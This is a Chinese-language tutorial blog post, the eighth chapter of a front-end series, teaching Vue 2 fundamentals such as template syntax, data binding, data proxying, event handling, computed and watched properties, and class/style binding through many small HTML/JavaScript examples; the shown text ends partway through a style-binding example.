系列学习前端之第 8 章:一文掌握 Vue2(核心基础篇)

发布于:2024-04-04 ⋅ 阅读:(179) ⋅ 点赞:(0)

1、 Vue简介

1.1 简介

  • Vue 是动态构建用户界面的渐进式 JavaScript 框架,Vue 只关注视图层, 采用自底向上增量开发的设计。
  • 采用组件化模式,提高代码复用率、且让代码更好维护。
  • 借鉴 Angular 的模板和数据绑定技术
  • 声明式编码,让编码人员无需直接操作 DOM,提高开发效率。
  • 使用虚拟DOM+优秀的Diff算法,尽量复用DOM节点(借鉴 React 的组件化和虚拟 DOM 技术)。
  • 遵循 MVVM 模式
  • 编码简洁,体积小,运行效率高,适合移动端/PC端开发
  • Vue 2.0 在 2023 年 12 月 31 日停止更新

怎么理解虚拟 DOM?

在原生的 JavaScript 中,数据直接跟页面的 DOM 元素做绑定,但是如果数据发生改变,就需要修改数据与 DOM 元素的绑定关系。

而在 Vue 框架中,引入虚拟 DOM 概念(Virtual-DOM),读取到数据后,先放入到内存,再从内存转成真实 DOM 展示到页面。这样做的好处是:当内存中有数据改变时,使用 Diff 算法找出与原来内存数据的差异,无差异则直接复用旧的数据,而只变动差异部分的数据。

原生 JavaScript 实现: 

Vue 实现: 

 

1.2 Vue 周边库

  • vue-cli: vue 脚手架
  • vue-resource
  • axios
  • vue-router: 路由
  • vuex: 状态管理
  • element-ui: 基于 vue 的 UI 组件库(PC端)

1.3 官网

中文官网:https://cn.vuejs.org/

英文官网:https://vuejs.org/

1.4 第一个 Vue 程序

代码文档结构:vue.js 可以去 CDN 上下载(在页面上打开,复制出来保存成 vue.js,这里使用的是 2.7.9 版本) https://www.bootcdn.cn/

html 代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>HelloWorld</title>
    <!-- CDN引入 Vue.js 库 -->
    <!-- <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.7.9/vue.js"></script> -->
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {//文档加载完成后执行
            /*
            1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
            2. id="hello" 的容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
            3. hello容器里的代码被称为【Vue模板】;
            4.Vue实例和容器是一一对应的;
            5.真实开发中只有一个Vue实例,并且会配合着组件一起使用;
            6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
            7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
            */
            new Vue({
                //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
                el: "#hello",
                //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
                data: {
                    say: "你好,Vue!初次见面,请多关照!"
                }
            })
        }
    </script>
</head>

<body>
    <div>
        <h1 id="hello">{{say}}</h1>
    </div>
</body>

</html>

效果:

小结: 

1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
2. id="hello" 的容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
3. hello容器里的代码被称为【Vue模板】;
4.Vue实例和容器是一一对应的;
5.真实开发中只有一个Vue实例,并且会配合着组件一起使用;
6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新。

另:如果是第一次开发 Vue,看到控制台有 2 个提示,请按照以下博客进行解决:

浏览器扩展程序增加 vue_dev_tools 调试工具-CSDN博客

Download the Vue Devtools extension for a better development experience

翻译:下载Vue Devtools扩展以获得更好的开发体验

You are running Vue in development mode.Make sure to turn on production mode when deploying for production.

翻译:您正在开发模式下运行Vue。为生产部署时,请确保打开生产模式。

2、模板语法

Vue 模板语法有 2 大类:插值语法和指令语法。插值语法用于解析标签体内容,指令语法用于解析标签(包括:标签属性、标签体内容、绑定事件等等)。

2.1 插值语法

插值语法:用于解析标签体内容,写法 {{xxx}} ,xxx是 js 表达式,且可以直接读取到data中的所有属性。

2.2 指令语法

指令语法:用于解析标签,例如:v-bind:href="xxx" 或者简写为 :href="xxx",xxx 同样要求是 js 表达式。另:Vue 中有很多的指令,格式都是 v-???

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>模板语法</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {//文档加载完成后执行
            /*
            插值语法:用于解析标签体内容,写法 {{xxx}} ,xxx是 js 表达式,且可以直接读取到data中的所有属性。
            指令语法:用于解析标签,例如:v-bind:href="xxx" 或者简写为 :href="xxx",xxx 同样要求是 js 表达式
            另:Vue 中有很多的指令,格式都是 v-???
            */
            new Vue({
                //el表达式获取容器
                el: "#study",
                data: {
                    nextWord: "人间正道是沧桑",
                    school: {
                        wenxin: "https://yiyan.baidu.com/",
                        name: "B站尚硅谷",
                        address: " https://www.bilibili.com/video/BV1Zy4y1K7SH"
                    }
                }
            })
        }
    </script>
</head>

<body>
    <!-- 准备一个 id=study 的容器 -->
    <div id="study">
        <h1>插值语法,用于解析标签体的内容</h1>
        <h2 style="color:purple">天若有情天亦老,下一句是:{{nextWord}}</h2>
        <hr>
        <h1>指令语法,用于解析标签</h1>
        <a v-bind:href="school.wenxin" target="_blank">文心一言,一个神奇的 AI 网站</a>
        <br>
        <!-- v-bind 可以简写为冒号 -->
        <a :href="school.address" target="_blank">去{{school.name}}学Vue</a>
    </div>
</body>

</html>

效果:

3、数据绑定

Vue 中有2种数据绑定的方式:单向绑定(v-bind)和双向绑定(v-model)。

3.1 单向绑定

单向绑定(v-bind):数据只能从 data 流向页面

3.2 双向绑定

双向绑定(v-model):数据可以在页面和 data 双向流动

备注:双向绑定一般都应用在表单类(输入类)元素上,如:input、select等

v-model:value 可以简写为 v-model,因为 v-model 默认收集的就是 value 值。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>数据绑定</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {//文档加载完成后执行
            /*
            Vue 中有2种数据绑定的方式:
            1、单向绑定(v-bind):数据只能从 data 流向页面
            2、双向绑定(v-model):数据可以在页面和 data 双向流动
            备注:双向绑定一般都应用在表单类(输入类)元素上,如:input、select等
            v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
            */
            new Vue({
                //el表达式获取容器
                el: "#study",
                data: {
                    nextWord: "远近高低各不同",
                }
            })
        }
    </script>
</head>

<body>
    <!-- 准备一个 id=study 的容器 -->
    <div id="study">
        <h1>单向绑定:数据只能从 data 流向页面</h1>
        横看成岭侧成峰,下一句是:<input type="text" :value="nextWord">
        <hr>
        <h1>双向绑定:数据可以在页面和 data 之间互相流通</h1>
        横看成岭侧成峰,下一句是:<input type="text" v-model="nextWord">
        <br>
        <!-- 以下代码错误:因为 v-model 只能应用在表单类元素上 -->
        <!-- <h3 v-model:hello="name">你好!</h3> -->
    </div>
</body>

</html>

效果:

打开“更多标签页”,找到 Vue 调试工具,可以直接修改 data 的数据内容。

4、el 和 data 的两种写法

4.1 el 的两种写法

el 有两种写法,第一种是在构建 Vue 对象时,就指定容器。第二种写法是 Vue 的对象通过调用 $mount 函数,挂载到指定的容器。通过函数挂载的写法更灵活。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>el的两种写法</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {//文档加载完成后执行
            //el 的两种写法
            const v = new Vue({
                //第一种写法,构建 Vue 对象时就指定容器
                //el: "#study",
                data: {
                    nextWord: "不破楼兰终不还"
                }
            });
            console.log(v);
            //第二种写法,更灵活
            v.$mount("#study");//Vue 的对象通过调用 $mount 函数,挂载到指定的容器
        }
    </script>

</head>

<body>
    <!-- 准备一个 id=study 的容器 -->
    <div id="study">
        <h1>黄沙百战穿金甲,{{nextWord}}</h1>
    </div>
</body>

</html>

4.2 data 的两种写法

data 有两种写法,第一种是对象式,这种方式的数据相对固定。第二种是函数式,更加灵活,更符合实际项目开发的需要。

注意事项:

由 Vue 管理的函数,一定不要写箭头函数,比如提到的 data 函数。一旦写了箭头函数,this就不再是 Vue 实例了,而是由 window 来管理。

代码示例: 

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>data的两种写法</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {//文档加载完成后执行
            //data 的两种写法
            const vm = new Vue({
                el: "#player",
                //第一种写法:对象式
                /*
                data: {
                    who: "乔丹"
                }
                */
                //第二种写法:函数式
                data: function () {//可以简写为 data(){return {xxx}}
                    console.log(this);//此处的 this 是 Vue 实例对象
                    return {
                        who: "乔丹"
                    }
                }
                /* 不要写成以下的箭头函数,归属全局的 window 管理
                data:()=>{
                    return "";
                }
                */
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个 id=player 的容器 -->
    <div id="player">
        <h1>篮球之神:{{who}}</h1>
    </div>
</body>

</html>

5、理解 MVVM 模型

MVVM 是 Model-View-ViewModel 的简写。它本质上就是MVC的改进版。MVVM模式有助于将应用程序的业务和表示逻辑与用户界面 (UI) 清晰分离。 保持应用程序逻辑和UI之间的清晰分离有助于解决许多开发问题,并使应用程序更易于测试、维护和演变。 它还可以显著提高代码重用机会,并允许开发人员和UI设计人员在开发应用各自的部分时更轻松地进行协作。

在 Vue 没出现的时候,MVVM 模型已经出现并且流行了。所以 Vue 只是参考了该模型,并在此基础上做了优化。

M:模型(Model),对应 Vue 中 data 的数据,一般的 JavaScript 对象

V:视图(View),模板,直接对应 DOM 对象

VM:视图模型(ViewModel),Vue 实例对象。所以一般创建 Vue 对象,都用 vm 去接。

说明:

1、data 中所有的属性,最后都出现在了 vm 身上。

2、vm 身上所有的属性,及 Vue 原型上所有属性,在 Vue 模板中都可以直接使用。

6、数据代理

6.1 什么是数据代理

概念:数据代理,是通过一个对象(中介)代理对另一个对象中属性的操作(读/写)。

跟我们平时生活接触到的:媒婆、房产中介、代理商...是同一个概念。

6.2 回顾 JavaScript 的 Object.defineProperty 方法

在 JavaScript 中,有一个 Object.defineProperty 方法用于代理对象的属性,如:

代码示例: 

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>数据代理</title>

    <script>
        //回顾 Object.defineProperty 方法
        let number = 30;
        //创建一个 Person 对象
        let Person = {
            name: "渣渣辉",
            setx: "男",
        }

        //使用 Object.defineProperty 代理 Person 对象的属性
        Object.defineProperty(Person, "age", {
            //控制属性是否可以枚举,默认是 false。设置为 true 后,代理的该属性就会被认为是 Person 的真正属性
            enumerable: true,
            //控制属性是否可以被修改,默认是 false。注意:如果设置了 get、set 就不能在设置 writable,否则会报错
            //writable: true,
            //控制属性是否可以被删除,默认是 false
            configurable: true,

            //当有程序读取 Person 的 age 属性时,get(getter)函数就会被调用,且返回值就是 age 的值
            get() {
                console.log("有程序读取了 age 属性!");
                return number;
            },

            //当有程序修改 Person 的 age 属性时,set(setter)函数就会被调用,且修改的值就是 age 的值
            set(value) {
                console.log("有程序修改了 age 属性的值!");
                number = value;
            }
        })

    </script>
</head>

<body>
</body>

</html>

效果:

解读:

1、age 属性本来是不属于 Person 对象的,通过 Object.defineProperty 给 Person 对象代理了 age 属性,age 就会被认为是 Person 的真正属性。可以看到 age(...) 是通过代理得到的。

2、通过代理得到的对象,在设置了 get、set 属性后,就会动态的获取到最新设置的值,这对程序非常有用,可以动态的获取接口返回值,而不是程序写固定。

6.3 Vue 中的数据代理

代码实例(需要把 script 代码放在 body 后):

代码示例: 

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>数据代理</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
</head>

<body>
    <!-- 准备一个容器 -->
    <div id="girl">
        <h3>女孩的名字:{{name}}</h3>
        <h3>女孩的爱好:{{hobby}}</h3>
    </div>
</body>
<script>
    const vm = new Vue({
        el: "#girl",
        data: {
            name: "小妮仔",
            hobby: "唱歌,跳民族舞,写前端代码"
        }
    })
</script>

</html>

效果:在控制台输入:  vm  回车

小结:

1、Vue 中的数据代理是通过 Vue 对象(示例中是 vm)来代理 data 对象中属性的操作(读/写)来实现

2、Vue 中的数据代理好处是可以更加方便的操作 data 中的数据

3、具体原理:通过 Object.defineProperty() 把 data 对象中所有属性添加到vm上,为每一个添加到 vm 上的属性,都指定一个 getter/setter 方法,在 getter/setter 方法内部去操作(读/写)data 中对应的属性。

7、事件处理

7.1 绑定监听

Vue 绑定监听有多种写法:

1、v-on:click = "xxx()",xxx 是事件名称

2、@click = "xxx()",也就是 v-on:click 可以简写为 @click

3、@click = "xxx(参数)",其中默认事件的形参是 event,隐含属性对象是 $event

4、事件的回调需要配置在 methods 对象中,最终会在 vm 对象上

5、methods 中配置的函数都是 Vue 管理的函数,不要使用箭头函数,否则 this 就不是 vm 而是 window 了

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>事件处理</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {//文档加载完成后执行
            const vm = new Vue({
                el: "#game",
                data: {
                    name: "王者荣耀"
                },
                methods: {
                    branch() {
                        console.log(event.target.innerText);//输出触发该方法的属性的文本:请选择分路(不传参数)
                        console.log(this === vm);//此处的 this 是 vm 对象
                        alert("你还没选择分路!");
                    },
                    hero(event, heroName) {
                        console.log(event, heroName);
                        console.log(this === vm);//此处的 this 是 vm 对象
                        alert("你选择的英雄是:" + heroName);
                    }
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个 id=game 的容器 -->
    <div id="game">
        <h1>欢迎来到:{{name}}</h1>
        <button v-on:click="branch()">请选择分路(不传参数)</button>
        <button @click="hero($event, '亚瑟')">请选择英雄(传参)</button>
    </div>
</body>

</html>

效果:

7.2 事件修饰符

Vue 中的修饰符主要有以下几种

  1. prevent:阻止默认事件(常用),即调用了 event.preventDefault() 
  2. stop:阻止事件冒泡(常用),冒泡:向父级传递事件。即调用了 event.stopPropagation() 
  3. once:事件只触发一次(常用)
  4. capture:使用事件的捕获模式
  5. self:只有 event.target 是当前操作的元素时才触发事件
  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕
  7. 修饰符可以连续写,比如:@click.prevent.stop="xxx"

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>事件修饰符</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {//文档加载完成后执行
            const vm = new Vue({
                el: "#game",
                data: {
                    name: "王者荣耀"
                },
                methods: {
                    baidu() {
                        console.log("无法跳到百度首页,因为加了 prevent 后会阻止默认事件(跳转事件)");
                    },
                    atguigu() {
                        console.log("可以触发默认事件,比如:a标签的跳转事件");
                    },
                    daye(dragon) {
                        console.log("正在打的野怪是:" + dragon);
                    },
                    victory() {
                        console.log("我们胜利了!");
                    }
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个 id=game 的容器 -->
    <div id="game">
        <h1>欢迎来到:{{name}}</h1>

        <!-- 默认事件 -->
        <div>
            <!-- 没有阻止默认事件 -->
            <a href="https://www.bilibili.com/video/BV1Zy4y1K7SH" @click="atguigu()" target="_blank">点我去尚硅谷学Vue!</a>
            <!-- 阻止默认事件(常用) -->
            <a href="http://www.baidu.com" @click.prevent="baidu()">点我去百度首页</a>
        </div>

        <!-- 事件的冒泡(向父级传递事件) -->
        <div class="dragon" @click="daye('风暴龙王')">
            <!-- 没有阻止事件的冒泡的情况 -->
            <button @click="daye('主宰')">我在打</button>
            <!-- 阻止了事件的冒泡 -->
            <button @click.stop="daye('暴君')">敌方在打</button>
        </div>

        <!-- 事件触发 -->
        <div>
            <!-- 事件只触发一次(常用) -->
            <button @click.once="victory()">推倒对面水晶</button>
        </div>

    </div>

    <style>
        * {
            margin: 10px;
        }

        /* 给 class="dragon" 加背景色  */
        .dragon {
            background-color: green;
        }
    </style>
</body>

</html>

效果:

7.3 键盘事件

Vue 中常用的按键别名:

回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,必须配合 keydown 去使用)
上 => up
下 => down
左 => left
右 => right

另外:

Vue 未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

系统修饰键(用法特殊):ctrl、alt、shift、meta(菜单键,也叫 win 键)

(1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。

(2)配合keydown使用:可以正常触发事件。

也可以使用 keyCode 去指定具体的按键(不推荐),因为会存在不同的电脑、操作系统,keyCode 不同的情况。

除了使用 Vue 提供的按键别名外,我们也可以自定义按键别名。

按键事件与修饰符事件一样,支持连续写。比如:@keydown.enter.delete="xxx"

代码示例: 

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>键盘事件</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            //自定义一个按键的别名,值等于13(13是回车对应的 code 值)
            Vue.config.keyCodes.huiche = 13;
            const vm = new Vue({
                el: "#keyboard",
                data: {
                    name: "键盘事件"
                },
                methods: {
                    //输出用户按下键盘的key和keyCode
                    showKeyCode(e) {
                        console.log("key=" + e.key, "keyCode=" + e.keyCode);
                    },
                    cooking(e) {
                        //在控制台输出当前元素的值
                        console.log(e.target.value);
                    },
                    travel(e) {
                        //在控制台输出当前元素的值
                        console.log(e.target.value);
                    }
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个 id=keyboard 的容器 -->
    <div id="keyboard">
        <h2>这一节学习:{{name}}</h2>
        <!-- 输出用户按下键盘的key和keyCode -->
        快看看按键都是什么吧:<input type="text" placeholder="快看看按键都是什么吧" @keydown="showKeyCode">
        <hr>
        <!-- 使用 Vue 提供常用的按键别名 -->
        你想吃什么?来点菜吧!<input type="text" placeholder="你想吃什么?来点菜吧!" @keydown.enter="cooking">
        <hr>
        <!-- 使用自定义键名 -->
        你想去哪里旅游?<input type="text" placeholder="你想去哪里旅游?" @keydown.huiche="travel">

    </div>
</body>

</html>

效果:

8、计算属性与监视

8.1 计算属性 computed

1、定义:要用的属性不存在,要通过已有属性计算得来。

2、原理:底层借助了 Objcet.defineproperty 方法提供的 getter 和 setter。在 computed 对象中定义计算属性。同时,在页面中使用 {{方法名}} 来显示计算的结果。

3、get 函数什么时候执行?

  1. 初次读取时会执行一次
  2. 当依赖的数据发生改变时会被再次调用

4、优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便。

5、备注:

  1. 计算属性最终会出现在 vm 上,直接读取使用即可。
  2. 如果计算属性要被修改,那必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生改变。

复习:使用 method 方式的代码示例(不会使用缓存,每次用到 method 方法时都要重新调用):

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>计算属性-method</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            const vm = new Vue({
                el: "#computed",
                data: {
                    heroName: "妲己",
                    brands: "中路"
                },
                methods: {
                    //显示英雄的打法
                    play() {
                        console.log("method 方式 调用了 play 方法 at " + Date.now());
                        return this.heroName + "-" + this.brands;
                    }
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个 id=computed 的容器 -->
    <div id="computed">
        英雄:<input type="text" v-model="heroName"><br><br>
        分路:<input type="text" v-model="brands"><br><br>
        打法1:<span>{{play()}}</span><br><br>
        打法2:<span>{{play()}}</span><br><br>
        打法3:<span>{{play()}}</span>
    </div>
</body>

</html>

效果:

computed 方式的代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>计算属性-computed</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            const vm = new Vue({
                el: "#computed",
                data: {
                    heroName: "程咬金",
                    brands: "上单"
                },
                computed: {
                    //完整写法
                    play: {
                        get() {
                            console.log("computed 方式,调用了 get 方法 at " + Date.now());
                            return this.heroName + "-" + this.brands;
                        },
                        set(value) {
                            console.log("value=" + value + "调用了 set 方法 at " + Date.now());
                            return this.heroName + "-" + this.brands;
                        }
                    },

                    //简写:当确定 computed 只有读取数据时,可以简写
                    play2() {
                        console.log("调用了 play2 方法 at " + Date.now());
                        return this.heroName + "-" + this.brands;
                    }
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个 id=computed 的容器 -->
    <div id="computed">
        英雄:<input type="text" v-model="heroName"><br><br>
        分路:<input type="text" v-model="brands"><br><br>
        打法1:<span>{{play}}</span><br><br>
        打法2:<span>{{play}}</span><br><br>
        打法3:<span>{{play}}</span>
        <hr>
        简写:<span>{{play2}}</span>
    </div>
</body>

</html>

效果:

8.2 监视属性 watch

对监视属性的理解

1、通过通过 vm 对象的 $watch() 或 watch 配置来监视指定的属性
2、当属性变化时, 回调函数自动调用,在函数内部进行计算

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>监视属性-watch</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            const vm = new Vue({
                el: "#eat",
                data: {
                    //判断如果是夏天,就吃冰淇淋,冬天吃火锅
                    weather: "夏天",
                    isSummer: true,

                },
                computed: {
                    season() {
                        return this.weather;
                    },
                    food() {
                        return this.isSummer ? "冰淇淋" : "火锅";
                    }
                },
                methods: {
                    changeWeather() {
                        //把布尔值取反
                        this.isSummer = !this.isSummer;
                        if (this.weather == "夏天") {
                            this.weather = "冬天";
                            return "冬天";
                        } else {
                            this.weather = "夏天";
                            return "夏天";
                        }
                    }
                },
                //写法1,创建对象时就开始监视
                /*
                watch: {
                    isSummer: {
                        immediate: true,//初始化时让handler调用一下
                        handler(newValue, oldValue) {
                            console.log("isSummer 被修改成:" + this.isSummer);
                            console.log("newValue=" + newValue);
                            console.log("oldValue=" + oldValue);
                        }
                    },
                    weather: {
                        immediate: true,//初始化时让handler调用一下
                        handler(newValue, oldValue) {
                            console.log("weather 被修改成:" + this.weather);
                            console.log("newValue=" + newValue);
                            console.log("oldValue=" + oldValue);
                        }
                    }
                }
                */
            });

            //写法2,使用挂载的方式
            vm.$watch("isSummer", {
                immediate: true,//初始化时让handler调用一下
                handler(newValue, oldValue) {
                    console.log("isSummer 被修改成:" + this.isSummer);
                    console.log("newValue=" + newValue);
                    console.log("oldValue=" + oldValue);
                }
            });

            vm.$watch("weather", {
                immediate: true,//初始化时让handler调用一下
                handler(newValue, oldValue) {
                    console.log("weather 被修改成:" + this.weather);
                    console.log("newValue=" + newValue);
                    console.log("oldValue=" + oldValue);
                }
            });

        }
    </script>
</head>

<body>
    <!-- 准备一个容器 -->
    <div id="eat">
        <h2>现在是:{{season}},我喜欢吃:{{food}}</h2>
        <button @click="changeWeather">切换夏天/冬天</button>
    </div>
</body>

</html>

效果:

小结:

1、当被监视的属性变化时,回调函数自动调用,进行相关操作

2、监视的属性必须存在,才能进行监视。

3、如果加上 immediate: true 属性,在初始化时就会让 handler 执行一次,当然了,这时候的 oldValue 是还没有的,所以输出了 undefined

4、监视的两种写法:

  1. new Vue 时传入 watch 配置
  2. 通过 vm.$watch() 监视

8.3 深度监视

Vue 中的 watch 默认不监视对象内部值的改变(只监视第一层)。

配置 deep=true 可以监视对象内部值的改变(支持多层)。

备注:

  1. Vue 自身可以监视对象内部值的改变,但Vue提供的 watch 默认不可以!需要配置 deep=true 才可以
  2. 使用 watch 时要根据数据结构来决定是否采用深度监视,因为深度监视效率不高且很耗性能。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>深度监视</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            const vm = new Vue({
                el: "#eat",
                data: {
                    isSummer: true,
                    price: {
                        A: "冰淇淋卖¥10",
                        B: "火锅卖¥88"
                    }
                },
                computed: {
                    food() {
                        return this.isSummer ? "冰淇淋" : "火锅";
                    }
                },
                methods: {
                    changeWeather() {
                        //把布尔值取反
                        this.isSummer = !this.isSummer;
                        //根据 isSummer 修改 price 的内容
                        if (this.isSummer) {
                            this.price.A = "冰淇淋涨价卖¥15";
                        } else {
                            this.price.B = "火锅涨价卖¥99";
                        }
                    }
                },
                watch: {
                    isSummer: {
                        immediate: true,//初始化时让handler调用一下
                        handler(newValue, oldValue) {
                            console.log("isSummer 被修改成:" + this.isSummer);
                        }
                    },
                    price: {
                        deep: true,
                        handler() {
                            if (this.isSummer) {
                                console.log("夏天了," + this.price.A);
                            } else {
                                console.log("冬天了," + this.price.B);
                            }
                        }
                    }
                }
            });

        }
    </script>
</head>

<body>
    <!-- 准备一个容器 -->
    <div id="eat">
        <h2>我喜欢吃:{{food}}</h2>
        <button @click="changeWeather">切换夏天/冬天</button>
    </div>
</body>

</html>

效果:当修改 price 对象内部的属性时(即 price 内部属性发生变化),配置了 deep=true,就能做深度监视

watch 支持简写,前提是不配置 immediate 和 deep 等信息,且注意不能写成箭头函数如:

//isSummer 简写形式,前提是不配置 immediate 和 deep 等信息

 isSummer(newValue, oldValue) {

      console.log("isSummer 被修改成:" + this.isSummer);

}

8.4、computed 和 watch 之间的区别

  1. computed 能完成的功能,watch 都可以完成。
  2. watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作。

两个重要的原则:

1、所有被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象。

2、所有不被 Vue 所管理的函数(定时器的回调函数、ajax 的回调函数等、Promise的回调函数)但是写在了 Vue 对象范围内,最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>watch内使用箭头函数</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            const vm = new Vue({
                el: "#performer",
                data: {
                    star: "陈奕迅",
                    song: "",
                    famous: "",
                },
                watch: {
                    star(value) {
                        console.log("star被监视到修改为" + value);
                        this.famous = value + "-" + this.song;
                    },
                    song(value) {
                        setTimeout(() => {
                            console.log("song被监视到修改为" + value);
                            console.log("watch内的箭头函数的this=", this);
                            this.famous = this.star + "-" + value;
                        }, 1000); //1秒后执行
                    }
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个容器 -->
    <div id="performer">
        歌手:<input type="text" v-model="star"><br><br>
        歌曲:<input type="text" v-model="song"><br><br>
        歌手&主打歌曲:<span>{{famous}}</span>
    </div>
</body>

</html>

效果:

9、绑定样式

在应用界面中,某些元素的样式是变化的,class/style 绑定就是专门用来实现动态样式效果的技术。

9.1 class 样式

写法:class="xxx" xxx可以是字符串、对象、数组。

  • 表达式是字符串 : 'classA'。字符串写法适用于:类名不确定,要动态获取。
  • {classA:isA, classB: isB}。对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
  • ['classA', 'classB']。数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。

9.2 style 样式

:style="{fontSize: xxx}"其中xxx是动态值。其中 activeColor/fontSize 是 data 属性

:style="[a,b]"其中a、b是样式对象。

示例代码:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>绑定样式</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            const vm = new Vue({
                el: "#bindClass",
                data: {
                    name: "vue",
                    languageClass: "vue",
                    classArr: ["beijing", "shanghai", "shenzhen"],
                    classObj: {
                        beijing: false,
                        shanghai: false,
                        shenzhen: true
                    },
                    styleObj: {
                        backgroundColor: "orange",
                        fontSize: "20px",
                    },
                    styleArr: [
                        {
                            backgroundColor: "purple",
                            fontSize: "30px",
                        }, {
                            color: "blue"
                        }
                    ]
                },
                methods: {
                    coding() {
                        const arr = ["vue", "java", "php"];
                        const index = Math.floor(Math.random() * 3);
                        this.name = arr[index];
                        this.languageClass = arr[index];
                    },
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个容器 -->
    <div id="bindClass">
        绑定class样式--字符串写法:
        <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
        <div class="basic" :class="languageClass" @click="coding">{{name}}是世界上最好的编程语言?</div>
        <hr>

        绑定class样式--数组写法:
        <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
